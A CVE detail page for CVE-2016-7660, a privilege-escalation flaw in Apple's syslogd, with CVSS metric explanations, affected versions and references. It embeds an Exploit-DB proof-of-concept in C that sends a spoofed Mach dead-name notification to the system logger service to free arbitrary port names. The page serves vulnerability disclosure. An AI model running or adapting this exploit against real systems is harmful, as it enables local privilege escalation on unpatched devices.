CVE-2016-7660 : Detail

CVE-2016-7660

7.8
/
High
A01-Broken Access Control
0.44%V4
Local
2017-02-20
07h35 +00:00
2017-09-02
07h57 +00:00
CVE.org
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CVE Descriptions

An issue was discovered in certain Apple products. iOS before 10.2 is affected. macOS before 10.12.2 is affected. watchOS before 3.1.3 is affected. The issue involves the "syslog" component. It allows local users to gain privileges via unspecified vectors related to Mach port name references.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.8 HIGH CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 40959

Publication date : 2016-12-21 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=977 syslogd (running as root) hosts the com.apple.system.logger mach service. It's part of the system.sb sandbox profile and so reachable from a lot of sandboxed contexts. Here's a snippet from its mach message handling loop listening on the service port: ks = mach_msg(&(request->head), rbits, 0, rqs, global.listen_set, 0, MACH_PORT_NULL); ... if (request->head.msgh_id == MACH_NOTIFY_DEAD_NAME) { deadname = (mach_dead_name_notification_t *)request; dispatch_async(asl_server_queue, ^{ cancel_session(deadname->not_port); /* dead name notification includes a dead name right */ mach_port_deallocate(mach_task_self(), deadname->not_port); free(request); }); An attacker with a send-right to the service can spoof a MACH_NOTIFY_DEAD_NAME message and cause an arbitrary port name to be passed to mach_port_deallocate as deadname->not_port doesn't name a port right but is a mach_port_name_t which is just a controlled integer. An attacker could cause syslogd to free a privilged port name and get it reused to name a port for which the attacker holds a receive right. Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555) */ // ianbeer #if 0 MacOS/iOS arbitrary port replacement in syslogd syslogd (running as root) hosts the com.apple.system.logger mach service. It's part of the system.sb sandbox profile and so reachable from a lot of sandboxed contexts. Here's a snippet from its mach message handling loop listening on the service port: ks = mach_msg(&(request->head), rbits, 0, rqs, global.listen_set, 0, MACH_PORT_NULL); ... if (request->head.msgh_id == MACH_NOTIFY_DEAD_NAME) { deadname = (mach_dead_name_notification_t *)request; dispatch_async(asl_server_queue, ^{ cancel_session(deadname->not_port); /* dead name notification includes a dead name right */ mach_port_deallocate(mach_task_self(), deadname->not_port); free(request); }); An attacker with a send-right to the service can spoof a MACH_NOTIFY_DEAD_NAME message and cause an arbitrary port name to be passed to mach_port_deallocate as deadname->not_port doesn't name a port right but is a mach_port_name_t which is just a controlled integer. An attacker could cause syslogd to free a privilged port name and get it reused to name a port for which the attacker holds a receive right. Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555) #endif #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <servers/bootstrap.h> #include <mach/mach.h> #include <mach/ndr.h> char* service_name = "com.apple.system.logger"; struct notification_msg { mach_msg_header_t not_header; NDR_record_t NDR; mach_port_name_t not_port; }; mach_port_t lookup(char* name) { mach_port_t service_port = MACH_PORT_NULL; kern_return_t err = bootstrap_look_up(bootstrap_port, name, &service_port); if(err != KERN_SUCCESS){ printf("unable to look up %s\n", name); return MACH_PORT_NULL; } return service_port; } int main() { kern_return_t err; mach_port_t service_port = lookup(service_name); mach_port_name_t target_port = 0x1234; // the name of the port in the target namespace to destroy printf("%d\n", getpid()); printf("service port: %x\n", service_port); struct notification_msg not = {0}; not.not_header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); not.not_header.msgh_size = sizeof(struct notification_msg); not.not_header.msgh_remote_port = service_port; not.not_header.msgh_local_port = MACH_PORT_NULL; not.not_header.msgh_id = 0110; // MACH_NOTIFY_DEAD_NAME not.NDR = NDR_record; not.not_port = target_port; // send the fake notification message err = mach_msg(&not.not_header, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(struct notification_msg), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); printf("fake notification message: %s\n", mach_error_string(err)); return 0; }

Products Mentioned

Configuraton 0

Apple>>Iphone_os >> Version To (including) 10.1.1

Configuraton 0

Apple>>Mac_os_x >> Version To (including) 10.12.1

Configuraton 0

Apple>>Watchos >> Version To (including) 2.2.2

References

https://support.apple.com/HT207487
Tags : x_refsource_CONFIRM
https://support.apple.com/HT207422
Tags : x_refsource_CONFIRM
http://www.securityfocus.com/bid/94905
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/40959/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1037469
Tags : vdb-entry, x_refsource_SECTRACK
https://support.apple.com/HT207423
Tags : x_refsource_CONFIRM